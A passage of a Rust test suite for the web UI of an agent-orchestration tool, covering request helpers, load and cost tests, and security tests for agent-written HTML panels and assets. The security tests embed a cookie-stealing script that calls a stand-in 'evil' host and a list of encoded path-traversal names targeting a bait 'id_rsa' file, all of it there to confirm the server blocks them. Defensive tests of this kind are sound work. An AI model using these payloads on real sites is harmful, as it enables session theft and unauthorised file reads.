10276 assert!(views.iter().all(|v| !v.deputies_enabled));
10277
10278 let calls = std::cell::Cell::new(0usize);
10279 let views = question_views(Vec::new(), &store, || {
10280 calls.set(calls.get() + 1);
10281 None
10282 });
10283 assert!(views.is_empty());
10284 assert_eq!(calls.get(), 0);
10285 }
10286
10287 use pretty_assertions::assert_eq;
10288 use serde_json::Value;
10289 use tempfile::TempDir;
10290 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10291
10292 use super::*;
10293 use crate::config::Config;
10294 use crate::queue::Source;
10295
10296 const SETTLE_STEPS: usize = 3_000;
10307
10308 struct Fixture {
10314 home: TempDir,
10315 addr: SocketAddr,
10316 }
10317
10318 impl Fixture {
10319 async fn start() -> Self {
10320 Self::with_loop(launch_idle).await
10321 }
10322
10323 async fn with_loop(launch: Launch) -> Self {
10325 let home = TempDir::new().expect("temp home");
10326 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10327 Self { home, addr }
10328 }
10329
10330 async fn with_repo(repo: PathBuf) -> Self {
10334 let home = TempDir::new().expect("temp home");
10335 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10336 Self { home, addr }
10337 }
10338
10339 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10342 let home = TempDir::new().expect("temp home");
10343 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10344 Self { home, addr }
10345 }
10346
10347 async fn serve(
10348 home: &FsPath,
10349 repo: PathBuf,
10350 launch: Launch,
10351 machine: Option<PathBuf>,
10352 ) -> SocketAddr {
10353 let queue = Queue::at(home.join("queue"));
10354 let runs = home.join("runs");
10355 std::fs::create_dir_all(&runs).expect("runs dir");
10356 let worktrees = home.join("wt").join("magi");
10357 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10358 let ui = Ui::new(
10359 queue,
10360 Questions::at(home.join("questions")),
10361 Talks::at(home.join("talks")),
10362 runs,
10363 home.to_path_buf(),
10364 repo,
10365 )
10366 .with_worktrees_root(worktrees)
10367 .with_machine_config(machine)
10368 .with_launch(launch);
10369 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10370 .await
10371 .expect("bind loopback");
10372 let addr = listener.local_addr().expect("local addr");
10373 tokio::spawn(async move {
10374 let router = ui
10375 .router()
10376 .layer(axum::middleware::from_fn(request_cost::observe));
10377 let _ = axum::serve(listener, router).await;
10378 });
10379 addr
10380 }
10381
10382 fn queue(&self) -> Queue {
10383 Queue::at(self.home.path().join("queue"))
10384 }
10385
10386 fn questions(&self) -> Questions {
10387 Questions::at(self.home.path().join("questions"))
10388 }
10389
10390 fn talks(&self) -> Talks {
10391 Talks::at(self.home.path().join("talks"))
10392 }
10393
10394 fn runs(&self) -> PathBuf {
10395 self.home.path().join("runs")
10396 }
10397
10398 async fn get(&self, path: &str) -> Res {
10399 request(self.addr, "GET", path, None).await
10400 }
10401
10402 async fn head(&self, path: &str) -> Res {
10407 request(self.addr, "HEAD", path, None).await
10408 }
10409
10410 async fn post(&self, path: &str, body: Option<&str>) -> Res {
10411 request(self.addr, "POST", path, body).await
10412 }
10413
10414 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10415 request_with(self.addr, "GET", path, None, extra).await
10416 }
10417
10418 async fn delete(&self, path: &str) -> Res {
10419 request(self.addr, "DELETE", path, None).await
10420 }
10421
10422 async fn put(&self, path: &str, body: &str) -> Res {
10423 request(self.addr, "PUT", path, Some(body)).await
10424 }
10425
10426 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10428 request_bytes(self.addr, path, headers, body).await
10429 }
10430 }
10431
10432 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10435 let tmp = TempDir::new().unwrap();
10436 let mut repos = Vec::new();
10437 for name in ["one", "two"] {
10438 let repo = tmp.path().join(name);
10439 let origin = tmp.path().join(format!("{name}.git"));
10440 std::fs::create_dir_all(&repo).unwrap();
10441 crate::git::git(&repo, &["init", "-b", "main"])
10442 .await
10443 .unwrap();
10444 std::fs::write(
10445 repo.join("magi.toml"),
10446 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10447 )
10448 .unwrap();
10449 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10450 crate::git::git(
10451 &repo,
10452 &[
10453 "-c",
10454 "user.name=fixture",
10455 "-c",
10456 "user.email=fixture@example.invalid",
10457 "commit",
10458 "-m",
10459 "fixture",
10460 ],
10461 )
10462 .await
10463 .unwrap();
10464 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10465 .await
10466 .unwrap();
10467 crate::git::git(
10468 &repo,
10469 &["remote", "add", "origin", origin.to_str().unwrap()],
10470 )
10471 .await
10472 .unwrap();
10473 crate::git::git(&repo, &["push", "origin", "main"])
10474 .await
10475 .unwrap();
10476 crate::git::git(
10477 &repo,
10478 &[
10479 "symbolic-ref",
10480 "refs/remotes/origin/HEAD",
10481 "refs/remotes/origin/main",
10482 ],
10483 )
10484 .await
10485 .unwrap();
10486 let (cfg, _) = Config::discover(&repo, None).unwrap();
10487 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10488 repos.push(repo);
10489 }
10490 let repos: [PathBuf; 2] = repos.try_into().unwrap();
10491 (tmp, repos)
10492 }
10493
10494 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10495 let (tmp, repos) = performance_repositories().await;
10496 let machine = tmp.path().join("machine.toml");
10497 std::fs::write(&machine, "").unwrap();
10498 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10499 (tmp, repos, fx)
10500 }
10501
10502 fn seed_performance(
10503 fx: &Fixture,
10504 repos: &[PathBuf; 2],
10505 questions: usize,
10506 runs: usize,
10507 items: usize,
10508 ) {
10509 for i in fx.questions().list().len()..questions {
10511 let mut question = Question::new(
10512 "20261001-000000-0000".into(),
10513 "implement".into(),
10514 "impl-A".into(),
10515 format!("question {i}"),
10516 "context".into(),
10517 vec!["yes".into(), "no".into()],
10518 );
10519 question.id = format!("20261003-000000-{i:04x}");
10520 fx.questions().put(&mut question).unwrap();
10521 }
10522 for i in run_ids(&fx.runs()).len()..runs {
10523 write_run_repo(
10524 &fx.runs(),
10525 &format!("20261001-000000-{i:04x}"),
10526 RunStatus::Ready,
10527 repos[i % 2].to_str().unwrap(),
10528 );
10529 }
10530 for i in fx.talks().list().len()..items {
10531 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10532 let mut talk = fx.talks().get(&id).unwrap();
10533 talk.repo = repos[i % 2].clone();
10534 fx.talks().put(&mut talk).unwrap();
10535 let mut task = crate::queue::Task::new(
10536 format!("task {i}"),
10537 "instruction".into(),
10538 repos[i % 2].clone(),
10539 crate::queue::Source::Agent {
10540 run: id,
10541 node: crate::queue::CHAT_NODE.into(),
10542 },
10543 );
10544 task.id = format!("20261004-000000-{i:04x}");
10545 fx.queue().put(&mut task).unwrap();
10546 if i < crate::notices::CAP {
10548 Notices::at(fx.home.path().join("notifications"))
10549 .raise(Notice::info(&format!("notice-{i}"), "notification"))
10550 .unwrap();
10551 }
10552 }
10553 assert_eq!(fx.questions().list().len(), questions);
10554 assert_eq!(run_ids(&fx.runs()).len(), runs);
10555 assert_eq!(fx.talks().list().len(), items);
10556 assert_eq!(fx.queue().list().len(), items);
10557 assert_eq!(
10558 Notices::at(fx.home.path().join("notifications"))
10559 .list()
10560 .len(),
10561 items.min(crate::notices::CAP)
10562 );
10563 }
10564
10565 fn request_counts(res: &Res) -> (usize, usize) {
10566 assert_eq!(res.status, 200, "{}", res.body);
10567 (
10568 res.header("x-test-discoveries").unwrap().parse().unwrap(),
10569 res.header("x-test-git").unwrap().parse().unwrap(),
10570 )
10571 }
10572
10573 #[tokio::test]
10574 async fn list_request_cost_is_independent_of_record_count() {
10575 let (_tmp, repos, fx) = performance_fixture().await;
10576 let mut previous = None;
10577 for n in [4, 60] {
10578 seed_performance(&fx, &repos, n, n, n);
10579 let mut costs = Vec::new();
10580 for (path, discoveries) in [
10581 ("/api/questions", 1),
10582 ("/api/talks", 2),
10583 ("/api/health", 1),
10584 ("/api/stats", 1),
10585 ] {
10586 for repo in &repos {
10589 let cache = repo.join(".git/magi/config");
10590 if cache.exists() {
10591 std::fs::remove_dir_all(cache).unwrap();
10592 }
10593 }
10594 let cost = request_counts(&fx.get(path).await);
10595 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10596 assert_eq!(cost.0, discoveries, "{path}, N={n}");
10597 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10598 costs.push(cost);
10599 }
10600 if let Some(previous) = previous {
10601 assert_eq!(costs, previous);
10602 }
10603 previous = Some(costs);
10604 }
10605 }
10609
10610 #[tokio::test]
10613 async fn list_handler_cost_without_transport() {
10614 let (_tmp, repos) = performance_repositories().await;
10615 let fx = Fixture {
10616 home: TempDir::new().unwrap(),
10617 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10618 };
10619 let ui = Arc::new(
10620 Ui::new(
10621 fx.queue(),
10622 fx.questions(),
10623 fx.talks(),
10624 fx.runs(),
10625 fx.home.path().to_path_buf(),
10626 repos[0].clone(),
10627 )
10628 .with_worktrees_root(fx.home.path().join("wt")),
10629 );
10630 let mut previous = None;
10631 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10632 seed_performance(&fx, &repos, n, runs, items);
10633 let mut costs = Vec::new();
10634 for endpoint in ["questions", "talks", "health", "stats"] {
10635 for repo in &repos {
10636 let cache = repo.join(".git/magi/config");
10637 if cache.exists() {
10638 std::fs::remove_dir_all(cache).unwrap();
10639 }
10640 }
10641 let (_, cost) = request_cost::measure(async {
10642 match endpoint {
10643 "questions" => {
10644 let _ = questions_list(State(ui.clone())).await.unwrap();
10645 }
10646 "talks" => {
10647 let _ = talks_list(
10648 State(ui.clone()),
10649 Query(ListQuery {
10650 limit: None,
10651 ids: None,
10652 }),
10653 )
10654 .await
10655 .unwrap();
10656 }
10657 "health" => {
10658 let _ = health(State(ui.clone())).await.unwrap();
10659 }
10660 _ => {
10661 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10662 .await
10663 .unwrap();
10664 }
10665 }
10666 })
10667 .await;
10668 eprintln!("{endpoint} handler N={n}: {cost:?}");
10669 assert_eq!(
10670 cost.0,
10671 if endpoint == "talks" { 2 } else { 1 },
10672 "{endpoint}"
10673 );
10674 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10675 costs.push(cost);
10676 }
10677 if let Some(previous) = previous {
10678 assert_eq!(costs, previous);
10679 }
10680 previous = Some(costs);
10681 }
10682 }
10683
10684 #[tokio::test]
10685 async fn list_request_cost_scopes_do_not_mix() {
10686 let (_tmp, repos, fx) = performance_fixture().await;
10687 seed_performance(&fx, &repos, 10, 0, 10);
10688 let (questions, talks, notices) = tokio::join!(
10689 fx.get("/api/questions"),
10690 fx.get("/api/talks"),
10691 fx.get("/api/notifications")
10692 );
10693 assert_eq!(request_counts(&questions).0, 1);
10694 assert_eq!(request_counts(&talks).0, 2);
10695 assert_eq!(request_counts(¬ices), (0, 0));
10696 }
10697
10698 #[tokio::test]
10699 async fn list_endpoints_large_home_ceiling() {
10700 let (_tmp, repos, fx) = performance_fixture().await;
10701 seed_performance(&fx, &repos, 200, 300, 400);
10702 let mut failures = Vec::new();
10703 for path in [
10706 "/",
10707 "/app.js",
10708 "/app.css",
10709 "/api/questions",
10710 "/api/runs?limit=300",
10711 "/api/queue",
10712 "/api/talks",
10713 "/api/notifications",
10714 "/api/health",
10715 "/api/stats",
10716 "/api/loop",
10717 "/api/settings",
10718 "/api/repos",
10719 ] {
10720 let start = std::time::Instant::now();
10721 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
10722 let elapsed = start.elapsed();
10723 eprintln!("{path}: {elapsed:?}");
10724 match result {
10725 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
10726 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
10727 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
10728 }
10729 }
10730 assert!(failures.is_empty(), "{}", failures.join("\n"));
10731 }
10732
10733 struct Res {
10734 status: u16,
10735 headers: String,
10736 head: String,
10741 body: String,
10742 bytes: Vec<u8>,
10746 }
10747
10748 impl Res {
10749 fn json(&self) -> Value {
10750 serde_json::from_str(&self.body)
10751 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
10752 }
10753
10754 fn header(&self, name: &str) -> Option<&str> {
10756 self.head.lines().find_map(|line| {
10757 let (key, value) = line.split_once(':')?;
10758 key.trim()
10759 .eq_ignore_ascii_case(name)
10760 .then(|| value.trim_start().trim_end_matches('\r'))
10761 })
10762 }
10763 }
10764
10765 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
10768 request_with(addr, method, path, body, &[]).await
10769 }
10770
10771 async fn request_with(
10775 addr: SocketAddr,
10776 method: &str,
10777 path: &str,
10778 body: Option<&str>,
10779 extra: &[(&str, &str)],
10780 ) -> Res {
10781 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10782 for (name, value) in extra {
10783 head.push_str(&format!("{name}: {value}\r\n"));
10784 }
10785 if let Some(body) = body {
10786 head.push_str("Content-Type: application/json\r\n");
10787 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
10788 }
10789 head.push_str("\r\n");
10790 if let Some(body) = body {
10791 head.push_str(body);
10792 }
10793 let mut socket = tokio::net::TcpStream::connect(addr)
10794 .await
10795 .expect("connect to the test server");
10796 socket
10797 .write_all(head.as_bytes())
10798 .await
10799 .expect("write request");
10800 let mut raw = Vec::new();
10801 socket.read_to_end(&mut raw).await.expect("read response");
10802 let split = raw
10805 .windows(4)
10806 .position(|w| w == b"\r\n\r\n")
10807 .expect("a header block");
10808 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10809 let bytes = raw[split + 4..].to_vec();
10810 let status = head
10811 .lines()
10812 .next()
10813 .and_then(|line| line.split_whitespace().nth(1))
10814 .and_then(|code| code.parse().ok())
10815 .expect("a status line");
10816 Res {
10817 status,
10818 headers: head.to_lowercase(),
10819 head,
10820 body: String::from_utf8_lossy(&bytes).into_owned(),
10821 bytes,
10822 }
10823 }
10824
10825 async fn request_bytes(
10831 addr: SocketAddr,
10832 path: &str,
10833 headers: &[(&str, &str)],
10834 body: &[u8],
10835 ) -> Res {
10836 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10837 for (name, value) in headers {
10838 head.push_str(&format!("{name}: {value}\r\n"));
10839 }
10840 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10841 let mut socket = tokio::net::TcpStream::connect(addr)
10842 .await
10843 .expect("connect to the test server");
10844 socket
10845 .write_all(head.as_bytes())
10846 .await
10847 .expect("write request head");
10848 socket.write_all(body).await.expect("write request body");
10849 let mut raw = Vec::new();
10850 socket.read_to_end(&mut raw).await.expect("read response");
10851 let split = raw
10852 .windows(4)
10853 .position(|w| w == b"\r\n\r\n")
10854 .expect("a header block");
10855 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10856 let bytes = raw[split + 4..].to_vec();
10857 let status = head
10858 .lines()
10859 .next()
10860 .and_then(|line| line.split_whitespace().nth(1))
10861 .and_then(|code| code.parse().ok())
10862 .expect("a status line");
10863 Res {
10864 status,
10865 headers: head.to_lowercase(),
10866 head,
10867 body: String::from_utf8_lossy(&bytes).into_owned(),
10868 bytes,
10869 }
10870 }
10871
10872 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10874 let mut state = RunState::new(
10875 PathBuf::from("/repo/magi"),
10876 "main".to_owned(),
10877 "0123456789abcdef".to_owned(),
10878 "Add a web UI\n\nMobile first.".to_owned(),
10879 Config::default(),
10880 );
10881 state.id = id.to_owned();
10882 state.status = status;
10883 let dir = runs.join(id);
10884 std::fs::create_dir_all(&dir).expect("run dir");
10885 std::fs::write(
10886 dir.join("run.json"),
10887 serde_json::to_string_pretty(&state).expect("serialize run"),
10888 )
10889 .expect("write run.json");
10890 }
10891
10892 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10896 let mut state = RunState::new(
10897 PathBuf::from(repo),
10898 "main".to_owned(),
10899 "0123456789abcdef".to_owned(),
10900 "task".to_owned(),
10901 Config::default(),
10902 );
10903 state.id = id.to_owned();
10904 state.status = status;
10905 let dir = runs.join(id);
10906 std::fs::create_dir_all(&dir).expect("run dir");
10907 std::fs::write(
10908 dir.join("run.json"),
10909 serde_json::to_string_pretty(&state).expect("serialize run"),
10910 )
10911 .expect("write run.json");
10912 }
10913
10914 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10915 let body = serde_json::json!({
10916 "schema": 1,
10917 "pid": 4242,
10918 "started_at": Timestamp::now().to_string(),
10919 "updated_at": updated_at.to_string(),
10920 "idle": false,
10921 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10922 "completed": 7,
10923 "polls": 143,
10924 });
10925 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10926 }
10927
10928 fn launch_idle(
10938 _opts: daemon::Opts,
10939 stop: daemon::Stop,
10940 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10941 Box::pin(async move {
10942 while !stop.stopped() {
10943 tokio::time::sleep(Duration::from_millis(2)).await;
10944 }
10945 Ok(())
10946 })
10947 }
10948
10949 fn launch_broken(
10952 _opts: daemon::Opts,
10953 _stop: daemon::Stop,
10954 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10955 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10960 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10961 Box::pin(async move {
10962 Err(anyhow::anyhow!(if first {
10963 "publish the daemon status file: read-only file system"
10964 } else {
10965 "the restarted stand-in failed as well"
10966 }))
10967 })
10968 }
10969
10970 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
10977 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
10978
10979 fn launch_knocking_on_the_way_out(
10986 _opts: daemon::Opts,
10987 stop: daemon::Stop,
10988 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10989 Box::pin(async move {
10990 while !stop.stopped() {
10991 tokio::time::sleep(Duration::from_millis(2)).await;
10992 }
10993 let addr = PARK_KNOCK
10994 .lock()
10995 .expect("park knock")
10996 .expect("the test set an address");
10997 let heard = request(addr, "GET", "/api/health", None).await.status;
10998 *PARK_HEARD.lock().expect("park heard") = Some(heard);
10999 Ok(())
11000 })
11001 }
11002
11003 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11012 for _ in 0..SETTLE_STEPS {
11013 let view = fx.get("/api/loop").await.json();
11014 if want(&view) {
11015 return view;
11016 }
11017 tokio::time::sleep(Duration::from_millis(10)).await;
11018 }
11019 panic!(
11020 "the loop never settled: {}",
11021 fx.get("/api/loop").await.json()
11022 );
11023 }
11024
11025 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11027 let store = fx.questions();
11028 let mut q = Question::new(
11029 "20260902-000000-beef".to_owned(),
11030 "implement".to_owned(),
11031 "impl-A".to_owned(),
11032 summary.to_owned(),
11033 "because it matters".to_owned(),
11034 choices.iter().map(|c| (*c).to_owned()).collect(),
11035 );
11036 store.put(&mut q).expect("put question");
11037 q.id
11038 }
11039
11040 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11046 let store = fx.questions();
11047 let mut q = Question::new(
11048 "20260902-000000-beef".to_owned(),
11049 "land".to_owned(),
11050 "fix".to_owned(),
11051 "Merge this?".to_owned(),
11052 "the diff is in the panel".to_owned(),
11053 vec!["merge".to_owned(), "hold".to_owned()],
11054 );
11055 let staging = fx.home.path().join("staging");
11058 std::fs::create_dir_all(&staging).expect("staging dir");
11059 let sources: Vec<PathBuf> = assets
11060 .iter()
11061 .map(|(name, bytes)| {
11062 let path = staging.join(name);
11063 std::fs::write(&path, bytes).expect("write staged asset");
11064 path
11065 })
11066 .collect();
11067 store
11068 .put_panel(&mut q, html, &sources)
11069 .expect("write the panel");
11070 store.put(&mut q).expect("put question");
11071 q.id
11072 }
11073
11074 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11083 seed_talk_at(&fx.talks(), id, status)
11084 }
11085
11086 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11087 std::fs::create_dir_all(store.root()).expect("talks dir");
11088 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11089 .expect("serialize a seat");
11090 let body = serde_json::json!({
11091 "schema": 1,
11092 "id": id,
11093 "repo": "/repo/magi",
11094 "agent": "mock",
11095 "status": status,
11096 "turns": [],
11097 "created_at": Timestamp::now().to_string(),
11098 "updated_at": Timestamp::now().to_string(),
11099 "seat": seat,
11100 });
11101 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11102 store.get(id).expect("the seeded talk has to be readable");
11103 id.to_owned()
11104 }
11105
11106 #[tokio::test]
11107 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11108 let fx = Fixture::start().await;
11109 let id = panel(
11110 &fx,
11111 "<h1>Merge?</h1><img src=\"diff.svg\">",
11112 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11113 );
11114
11115 for path in [
11116 format!("/api/questions/{id}/panel"),
11117 format!("/api/questions/{id}/asset/diff.svg"),
11118 ] {
11119 let res = fx.get(&path).await;
11120 assert_eq!(res.status, 200, "{path}: {}", res.body);
11121 assert_eq!(
11127 res.header("content-security-policy"),
11128 Some(
11129 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11130 font-src data:; base-uri 'none'; form-action 'none'; \
11131 frame-ancestors 'self'"
11132 ),
11133 "{path} is the only thing between a hostile panel and the tailnet"
11134 );
11135 assert_eq!(
11136 res.header("x-content-type-options"),
11137 Some("nosniff"),
11138 "{path}: a browser must not re-decide the type we sent"
11139 );
11140 assert_eq!(
11141 res.header("referrer-policy"),
11142 Some("no-referrer"),
11143 "{path}: a panel must not leak the question id off the machine"
11144 );
11145
11146 let pre = fx.head(&path).await;
11151 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11152 assert_eq!(
11153 pre.header("content-security-policy"),
11154 res.header("content-security-policy"),
11155 "{path}: the preflight carries the same policy"
11156 );
11157 assert_eq!(
11158 pre.header("content-type"),
11159 res.header("content-type"),
11160 "{path}: the preflight carries the same type"
11161 );
11162 }
11163 }
11164
11165 #[tokio::test]
11166 async fn a_panel_reaches_the_browser_byte_for_byte() {
11167 let fx = Fixture::start().await;
11168 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11173 let id = panel(&fx, html, &[]);
11174
11175 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11176
11177 assert_eq!(res.status, 200);
11178 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11179 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11180 assert_eq!(
11181 res.header("content-disposition"),
11182 None,
11183 "the panel itself is rendered in the frame, not downloaded"
11184 );
11185 }
11186
11187 #[tokio::test]
11188 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11189 let fx = Fixture::start().await;
11190 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11191 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11192 let id = panel(
11193 &fx,
11194 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11195 &[("diff.svg", svg), ("shot.png", png)],
11196 );
11197
11198 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11199 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11200
11201 assert_eq!(as_svg.status, 200);
11202 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11203 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11208
11209 assert_eq!(as_png.status, 200);
11210 assert_eq!(as_png.header("content-type"), Some("image/png"));
11211 assert_eq!(
11212 as_png.header("content-disposition"),
11213 None,
11214 "a raster image has no execution surface, so tapping it still shows it"
11215 );
11216 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11217 }
11218
11219 #[tokio::test]
11220 async fn an_html_asset_is_never_served_as_html() {
11221 let fx = Fixture::start().await;
11222 let id = panel(
11223 &fx,
11224 "<p>see the notes</p>",
11225 &[
11226 (
11227 "notes.html",
11228 b"<script>fetch('http://evil/'+document.cookie)</script>",
11229 ),
11230 ("hook.js", b"fetch('http://evil/')"),
11231 ("data.json", b"{}"),
11232 ("HEADLINE.TXT", b"plain"),
11233 ],
11234 );
11235
11236 for name in ["notes.html", "hook.js", "data.json"] {
11237 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11238 assert_eq!(res.status, 200, "{name}: {}", res.body);
11239 assert_eq!(
11244 res.header("content-type"),
11245 Some("application/octet-stream"),
11246 "{name} must not be a type the browser will execute or render"
11247 );
11248 }
11249 let txt = fx
11252 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11253 .await;
11254 assert_eq!(
11255 txt.header("content-type"),
11256 Some("text/plain; charset=utf-8")
11257 );
11258 }
11259
11260 #[tokio::test]
11261 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11262 let fx = Fixture::start().await;
11263 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11264 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11268
11269 for encoded in [
11276 "%2e%2e%2fid_rsa",
11277 "..%2fid_rsa",
11278 "..%5cid_rsa",
11279 "%2e%2e%5cid_rsa",
11280 "diff%00.svg",
11281 "..",
11282 ".hidden",
11283 "%2e%2e%2f%2e%2e%2fid_rsa",
11284 ] {
11285 let res = fx
11286 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11287 .await;
11288 assert_eq!(
11289 res.status, 400,
11290 "`{encoded}` has to be refused by name, not looked up: {}",
11291 res.body
11292 );
11293 assert!(res.json()["error"].is_string(), "{}", res.body);
11294 }
11295
11296 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11302 let res = fx
11303 .get(&format!("/api/questions/{id}/asset/{literal}"))
11304 .await;
11305 assert_eq!(
11306 res.status, 404,
11307 "`{literal}` must not match the asset route at all: {}",
11308 res.body
11309 );
11310 }
11311 }
11312
11313 #[tokio::test]
11314 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11315 let fx = Fixture::start().await;
11316 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11317 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11318
11319 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11323 assert_eq!(none.status, 404, "{}", none.body);
11324 assert!(none.json()["error"].is_string(), "{}", none.body);
11325 assert_eq!(
11326 fx.head(&format!("/api/questions/{plain}/panel"))
11327 .await
11328 .status,
11329 404,
11330 "the preflight is the only way the client can learn this"
11331 );
11332
11333 let missing = fx
11335 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11336 .await;
11337 assert_eq!(missing.status, 404, "{}", missing.body);
11338 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11339
11340 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11342 assert_eq!(
11343 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11344 404
11345 );
11346 }
11347
11348 #[tokio::test]
11349 async fn a_run_with_an_open_question_reads_as_waiting() {
11350 let fx = Fixture::start().await;
11351 let run = "20260902-000000-beef".to_owned();
11352 write_run(&fx.runs(), &run, RunStatus::Implementing);
11353
11354 let before = fx.get("/api/runs").await.json();
11355 assert_eq!(before[0]["waiting"], false, "{before}");
11356
11357 let store = fx.questions();
11358 let mut q = Question::new(
11359 run.clone(),
11360 "implement".to_owned(),
11361 "impl-A".to_owned(),
11362 "Which backend?".to_owned(),
11363 String::new(),
11364 vec!["SQLite".to_owned()],
11365 );
11366 store.put(&mut q).expect("put");
11367
11368 let during = fx.get("/api/runs").await.json();
11369 assert_eq!(during[0]["waiting"], true, "{during}");
11370
11371 q.answer(Answer::Choice("SQLite".to_owned()))
11374 .expect("answer");
11375 store.put(&mut q).expect("put");
11376 let after = fx.get("/api/runs").await.json();
11377 assert_eq!(after[0]["waiting"], false, "{after}");
11378 }
11379
11380 #[tokio::test]
11381 async fn an_open_question_is_listed_and_counted_by_health() {
11382 let fx = Fixture::start().await;
11383 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11384
11385 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11386 let listed = fx.get("/api/questions").await.json();
11387 assert_eq!(listed.as_array().expect("array").len(), 1);
11388 assert_eq!(listed[0]["id"], id);
11389 assert_eq!(listed[0]["status"], "open");
11390 assert_eq!(listed[0]["choices"][1], "Redis");
11391 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11394 }
11395
11396 fn obsolete_approval_state() -> RunState {
11397 let mut state = crate::land::tests::repair_state(true, true);
11398 state.pr = Some(crate::run::PrRecord {
11399 url: "https://github.com/example/repo/pull/42".into(),
11400 number: 42,
11401 state: "open".into(),
11402 checks: "green".into(),
